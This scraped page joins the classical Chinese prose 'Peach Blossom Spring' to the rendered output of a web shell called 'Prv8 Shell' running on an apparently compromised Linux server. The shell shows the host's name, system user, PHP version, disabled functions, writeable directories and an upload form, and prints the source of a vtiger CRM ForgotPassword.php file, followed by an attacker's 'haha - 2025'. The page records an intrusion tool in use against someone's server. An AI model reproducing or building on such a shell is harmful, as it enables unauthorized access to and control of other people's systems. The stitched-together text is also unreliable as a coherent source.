晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/CustomerPortal/apis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/CustomerPortal/apis/ForgotPassword.php
<?php
/* +**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * ***********************************************************************************/

class CustomerPortal_ForgotPassword extends CustomerPortal_API_Abstract {

	function process(CustomerPortal_API_Request $request) {
		global $adb, $PORTAL_URL, $current_user;
		$userId = $this->getCurrentPortalUser();
		$user = new Users();
		$current_user = $user->retrieveCurrentUserInfoFromFile($userId);

		$response = new CustomerPortal_API_Response();
		$mailid = $request->get('email');
		$current_date = date("Y-m-d");
		$sql = 'SELECT * FROM vtiger_portalinfo
					INNER JOIN vtiger_contactdetails ON vtiger_contactdetails.contactid=vtiger_portalinfo.id
					INNER JOIN vtiger_customerdetails ON vtiger_customerdetails.customerid=vtiger_portalinfo.id
					INNER JOIN vtiger_crmentity ON vtiger_portalinfo.id=vtiger_crmentity.crmid 
						WHERE vtiger_portalinfo.user_name = ? AND vtiger_crmentity.deleted= ?
						AND vtiger_customerdetails.support_start_date <= ?';

		$res = $adb->pquery($sql, array($mailid, '0', $current_date));
		$num_rows = $adb->num_rows($res);

		if ($num_rows > 0) {
			$isActive = $adb->query_result($res, 0, 'isactive');
			$support_end_date = $adb->query_result($res, 0, 'support_end_date');

			if ($isActive && ($support_end_date >= $current_date || $support_end_date == null )) {
				$moduleName = 'Contacts';
				global $HELPDESK_SUPPORT_EMAIL_ID, $HELPDESK_SUPPORT_NAME;
				$user_name = $adb->query_result($res, 0, 'user_name');
				$contactId = $adb->query_result($res, 0, 'id');

				if (!empty($adb->query_result($res, 0, 'cryptmode'))) {
					$password = makeRandomPassword();
					$enc_password = Vtiger_Functions::generateEncryptedPassword($password);

					$sql = 'UPDATE vtiger_portalinfo SET user_password=?, cryptmode=? WHERE id=?';
					$params = array($enc_password, 'CRYPT', $contactId);
					$adb->pquery($sql, $params);
				}

				$portalURL = vtranslate('Please ', $moduleName).'<a href="'.$PORTAL_URL.'" style="font-family:Arial, Helvetica, sans-serif;font-size:13px;">'.vtranslate('click here', $moduleName).'</a>';
				$contents = '<table><tr><td>
								<strong>Dear '.$adb->query_result($res, 0, 'firstname')." ".$adb->query_result($res, 0, 'lastname').'</strong><br></td></tr><tr>
								<td>'.vtranslate('Here is your self service portal login details:', $moduleName).'</td></tr><tr><td align="center"><br><table style="border:2px solid rgb(180,180,179);background-color:rgb(226,226,225);" cellspacing="0" cellpadding="10" border="0" width="75%"><tr>
								<td><br>'.vtranslate('User ID').' : <font color="#990000"><strong><a target="_blank">'.$user_name.'</a></strong></font></td></tr><tr>
								<td>'.vtranslate('Password').' : <font color="#990000"><strong>'.$password.'</strong></font></td></tr><tr>
								<td align="center"><strong>'.$portalURL.'</strong></td>
								</tr></table><br></td></tr><tr><td><strong>NOTE: </strong>'.vtranslate('We suggest you to change your password after logging in first time').'.<br>
							</td></tr></table>';

				$subject = 'Customer Portal Login Details';
				$subject = decode_html(getMergedDescription($subject, $contactId, $moduleName));

				$mailStatus = send_mail($moduleName, $user_name, $HELPDESK_SUPPORT_NAME, $HELPDESK_SUPPORT_EMAIL_ID, $subject, $contents, '', '', '', '', '', true);
				$ret_msg = vtranslate('LBL_MAIL_COULDNOT_SENT', 'HelpDesk');
				if ($mailStatus) {
					$ret_msg = vtranslate('LBL_MAIL_SENT', 'HelpDesk');
				}
				$response->setResult($ret_msg);
			} else if ($isActive && $support_end_date <= $current_date) {
				throw new Exception('Access to the portal was disabled on '.$support_end_date, 1413);
			} else if ($isActive == 0) {
				throw new Exception('Portal access has not been enabled for this account.', 1414);
			}
		} else {
			$response->setError('1412', 'Invalid email');
		}
		return $response;
	}

	function authenticatePortalUser($username, $password) {
		// always return true
		return true;
	}

	public function getCurrentPortalUser() {
		$db = PearDatabase::getInstance();

		$result = $db->pquery("SELECT prefvalue FROM vtiger_customerportal_prefs WHERE prefkey = 'userid' AND tabid = 0", array());
		if ($db->num_rows($result)) {
			return $db->query_result($result, 0, 'prefvalue');
		}
		return false;
	}

}

haha - 2025